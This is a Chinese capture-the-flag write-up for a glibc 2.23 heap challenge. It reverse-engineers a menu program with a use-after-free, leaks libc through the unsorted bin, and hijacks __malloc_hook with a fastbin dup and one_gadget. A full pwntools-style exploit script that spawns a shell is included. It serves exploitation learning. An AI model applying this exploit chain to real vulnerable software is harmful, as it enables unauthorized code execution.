前言
一次常规的fastbin dup练习
题目情况
In this magic school, there are some spellbound books given to young wizards where they can create and store the spells they learn throughout the years. There are some forbidden spells that can cause serious damage to other wizards and are not allowed. Beware what you write inside this book. Have fun, if you are a true wizard after all..
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Stripped: No
Debuginfo: Yes
逆向分析
执行:
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
菜单题
main:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
size_t opt; // rax
setup();
banner();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
opt = menu();
if ( opt != 2 )
break;
show(); // 2
// 打印数组结构体信息
}
if ( opt > 2 )
break;
if ( opt != 1 )
goto LABEL_13;
add(); // 1
// 申请结构体装入数据
// 结构体里有申请内存并写入数据的指针
}
if ( opt == 3 )
{
edit(); // 3
// 存在UAF
}
else
{
if ( opt != 4 )
{
LABEL_13:
printf("\n%s[-] You are not a wizard! You are a muggle!\n\n", "\x1B[1;31m");
exit(22);
}
delete(); // 4
// 释放没清空指针
}
}
}
4个选项:
add:会自动申请一个0x28的chunk,然后可控大小的申请和内容填充,无溢出
void __cdecl add()
{
int size; // [rsp+4h] [rbp-5Ch]
unsigned __int64 idx; // [rsp+8h] [rbp-58h]
spl *spell; // [rsp+10h] [rbp-50h]
printf(format);
idx = read_num();
if ( idx <= 9 ) // 最多10个
{
spell = (spl *)malloc(0x28uLL); // 固定大小申请一次
printf(aInsert);
spell->type[(int)(read(0, spell, 23uLL) - 1)] = 0;// 输入type,23字节
printf(aInsert_0);
size = read_num();
if ( size <= 0 || size > 0x3E8 ) // 1~0x3e8
{
printf("\n%s[-] Such power is not allowed!\n", "\x1B[1;31m");
exit(290);
}
spell->power = size;
spell->sp = (char *)malloc(spell->power); // 大小可控的申请
printf(aEnter);
spell->sp[(int)read(0, spell->sp, size - 1) - 1] = 0;// 输入内容,无溢出
table[idx] = spell; // 装入数组
printf(aS_0, "\x1B[1;32m", "\x1B[1;34m");
}
else
{
printf(aS, "\x1B[1;31m", "\x1B[1;34m");
}
}
show:指定索引打印内容
void __cdecl show()
{
unsigned __int64 idx; // [rsp+0h] [rbp-10h]
printf(format);
idx = read_num();
if ( idx <= 9 && table[idx] )
{
printf(asc_19A8);
printf(table[idx]->type);
printf(asc_19C6);
printf(table[idx]->sp);
}
else
{
printf(aS, "\x1B[1;31m", "\x1B[1;34m");
}
}
Edit:指定索引编辑内容
void __cdecl edit()
{
unsigned __int64 idx; // [rsp+8h] [rbp-18h]
spl *new_spell; // [rsp+10h] [rbp-10h]
printf(format);
idx = read_num();
if ( idx <= 9 && table[idx] )
{
new_spell = table[idx]; // UAF
printf(aNew);
new_spell->type[(int)(read(0, new_spell, 0x17uLL) - 1)] = 0;
printf(aNew_0);
new_spell->type[(int)(read(0, new_spell->sp, 0x1FuLL) - 1)] = 0;
printf(aS_1, "\x1B[1;32m", "\x1B[1;34m");
}
else
{
printf(aS, "\x1B[1;31m", "\x1B[1;34m");
}
}
delete:释放内存,但是没清空指针
void __cdecl delete()
{
unsigned __int64 idx; // [rsp+8h] [rbp-18h]
spl *ptr; // [rsp+10h] [rbp-10h]
printf(format);
idx = read_num();
if ( idx <= 9 && table[idx] )
{
ptr = table[idx]; // 释放但是没清空指针
free(ptr->sp);
free(ptr);
printf(aS_2, "\x1B[1;32m", "\x1B[1;34m");
}
else
{
printf(aS, "\x1B[1;31m", "\x1B[1;34m");
}
}
利用分析
缺陷:释放后不清空指针
libc版本2.23
思路:
申请一个unsorted size chunk,然后释放掉,通过show 来拿到libc leak
fastbin dup 劫持 malloc hook 为 one_gadget(system不行,因为会先执行malloc(0x28),会报错
leak libc address
# leak libc address
add(0,b"0",0x98,b"0000")
add(1,b"1",0x18,b"1111")
dele(0)
show(0)
ru("⅀ ℙ ∉ ⎳ ⎳ : ".encode())
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak address: {hex(leak)}")
libc.address = leak - 0x3c4b78
success(f"libc address: {hex(libc.address)}")
此时的堆:
0x56433ec8a000 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][0]
0x56433ec8a010 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a020 0x0000000000000000 0x000056433ec8a040 ........@..>CV..
0x56433ec8a030 0x0000000000000098 0x00000000000000a1 ................ <-- unsortedbin[all][0]
0x56433ec8a040 0x00007fb0e3c03b78 0x00007fb0e3c03b78 x;......x;......
0x56433ec8a050 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a060 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a070 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a080 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a090 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a0a0 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a0b0 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a0c0 0x0000000000000000 0x0000000000000000 ................
0x56433ec8a0d0 0x00000000000000a0 0x0000000000000030 ........0.......
0x56433ec8a0e0 0x0000000000000031 0x0000000000000000 1...............
0x56433ec8a0f0 0x0000000000000000 0x000056433ec8a110 ...........>CV..
0x56433ec8a100 0x0000000000000018 0x0000000000000021 ........!.......
0x56433ec8a110 0x0000000031313131 0x0000000000000000 1111............
0x56433ec8a120 0x0000000000000000 0x0000000000020ee1 ................ <-- Top chunk
第一个结构位于0x56433ec8a000,会打印指向0x56433ec8a010和0x000056433ec8a040的内容
后者保存了unsortedbin 链表的地址,从而可以泄露出libc地址
fastbin dup attack
常规的fastbin dup操作:
pwndbg> x/12xga &__malloc_hook
0x7f504a9fcb10 <__malloc_hook>: 0x0 0x0
0x7f504a9fcb20: 0x0 0x0
0x7f504a9fcb30: 0x55ed06523000 0x0
0x7f504a9fcb40: 0x0 0x0
0x7f504a9fcb50: 0x0 0x0
0x7f504a9fcb60: 0x0 0x0
pwndbg> find_fake_fast 0x7f504a9fcb10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f504a9fcaed
prev_size: 0x504a9fb260000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x504a6bdea0000000
bk: 0x504a6bda7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00
这里因为每次申请内存都会申请一次0x28的内存
所以多准备2个可申请走的0x28的内存:
add(2, b"2", 0x68, b"2222")
add(3, b"3", 0x68, b"3333")
# 这里需要0x28多2个可申请的chunk
add(4, b"4", 0x28, b"4444")
dele(2)
dele(3)
dele(2)
dele(4)
add(5, b"5", 0x68, pack(libc.sym.__malloc_hook - 0x23))
add(6, b"6", 0x68, b"6666")
add(7, b"7", 0x68, b"7777")
one gedget:
challenge ➤ one_gadget ./glibc/libc.so.6
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
第三个有用,触发:
add(7, b"7", 0x68, p8(0)*0x13 + pack(libc.address + 0x4527a))
add(8, b"cat flag.txt", 0x68, b"8888")
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
context.log_level = "warn"
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b">> "):
sla(prompt, i)
"""
⅀ ℙ ∉ ⎳ ⎳'s entry: 0
Insert ⅀ ℙ ∉ ⎳ ⎳'s type: 123
Insert ⅀ ℙ ∉ ⎳ ⎳ power: 24
Enter ⅀ ℙ ∉ ⎳ ⎳: 223
"""
def add(idx:int, type:bytes, size:int, content:bytes):
cmd('1')
sla(b"entry: ", str(idx).encode())
sla(b"type: ", type)
sla(b"power: ", str(size).encode())
sla(b": ", content)
#......
def show(idx:int):
cmd('2')
sla(b"entry: ", str(idx).encode())
#......
def edit(idx:int, type:bytes, content:bytes):
cmd('3')
sla(b"entry: ", str(idx).encode())
sla(b"type: ", type)
sla(b": ", content)
#......
def dele(idx:int):
cmd('4')
sla(b"entry: ", str(idx).encode())
#......
"""
缺陷:释放后不清空指针
版本: libc 2.23
思路:
1. 申请一个unsorted size chunk,然后释放掉, 拿到libc leak
2. fastbin dup 劫持 malloc hook 为 system
"""
# leak libc address
add(0,b"0",0x98,b"0000")
add(1,b"1",0x18,b"1111")
dele(0)
show(0)
ru("⅀ ℙ ∉ ⎳ ⎳ : ".encode())
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak address: {hex(leak)}")
libc.address = leak - 0x3c4b78
success(f"libc address: {hex(libc.address)}")
pause()
# fastbin dup attack
"""
pwndbg> x/12xga &__malloc_hook
0x7f504a9fcb10 <__malloc_hook>: 0x0 0x0
0x7f504a9fcb20: 0x0 0x0
0x7f504a9fcb30: 0x55ed06523000 0x0
0x7f504a9fcb40: 0x0 0x0
0x7f504a9fcb50: 0x0 0x0
0x7f504a9fcb60: 0x0 0x0
pwndbg> find_fake_fast 0x7f504a9fcb10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f504a9fcaed
prev_size: 0x504a9fb260000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x504a6bdea0000000
bk: 0x504a6bda7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00
"""
add(2, b"2", 0x68, b"2222")
add(3, b"3", 0x68, b"3333")
# 这里需要0x28多2个可申请的chunk
add(4, b"4", 0x28, b"4444")
dele(2)
dele(3)
dele(2)
dele(4)
add(5, b"5", 0x68, pack(libc.sym.__malloc_hook - 0x23))
add(6, b"6", 0x68, b"6666")
add(7, b"7", 0x68, b"7777")
"""
challenge ➤ one_gadget ./glibc/libc.so.6
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""
add(7, b"7", 0x68, p8(0)*0x13 + pack(libc.address + 0x4527a))
add(8, b"cat flag.txt", 0x68, b"8888")
ia()
总结
常规的fastbin dup练习